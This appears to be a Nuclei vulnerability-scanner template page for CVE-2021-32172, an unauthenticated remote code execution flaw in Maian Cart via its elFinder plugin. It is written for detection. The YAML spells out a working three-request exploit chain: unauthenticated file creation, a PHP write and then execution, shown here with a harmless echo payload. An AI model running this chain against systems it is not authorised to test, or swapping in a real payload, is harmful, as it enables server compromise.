Maian Cart <=3.8 - Remote Code Execution

ID: CVE-2021-32172

Severity: critical

Author: pdteam

Tags: cve2021,cve,rce,unauth,maian,intrusive,maianscriptworld

Description

Maian Cart 3.0 to 3.8 via the elFinder file manager plugin contains a remote code execution vulnerability.

YAML Source

id: CVE-2021-32172

info:
  name: Maian Cart <=3.8 - Remote Code Execution
  author: pdteam
  severity: critical
  description: Maian Cart 3.0 to 3.8 via the elFinder file manager plugin contains a remote code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to a patched version of Maian Cart (>=3.8) to mitigate this vulnerability.
  reference:
    - https://dreyand.github.io/maian-cart-rce/
    - https://github.com/DreyAnd/maian-cart-rce
    - https://www.maianscriptworld.co.uk/critical-updates
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32172
    - https://www.maianscriptworld.co.uk/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-32172
    cwe-id: CWE-862
    epss-score: 0.26906
    epss-percentile: 0.9666
    cpe: cpe:2.3:a:maianscriptworld:maian_cart:3.8:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: maianscriptworld
    product: maian_cart
  tags: cve2021,cve,rce,unauth,maian,intrusive,maianscriptworld

http:
  - raw:
      - |
        GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name={{randstr}}.php&target=l1_Lw HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        POST /admin/index.php?p=ajax-ops&op=elfinder HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, /; q=0.01
        Accept-Language: en-US,en;q=0.5
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        cmd=put&target={{hash}}&content=%3c%3fphp%20echo%20%22{{randstr_1}}%22%3b%20%3f%3e
      - |
        GET /product-downloads/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - contains(body_3, "{{randstr_1}}")
          - status_code_3 == 200
        condition: and

    extractors:
      - type: regex
        name: hash
        group: 1
        regex:
          - '"hash"\:"(.*?)"\,'
        internal: true
# digest: 4a0a00473045022100f3b7e6548804c7bfad543b1a83c9354454f703288478c08a4493bc8ff48dcac2022076851c81bb0d4cd2ed2ffc89599e6d68f3abd22dfa79d40ecd408a0067cdc9a3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-32172.yaml"

View on Github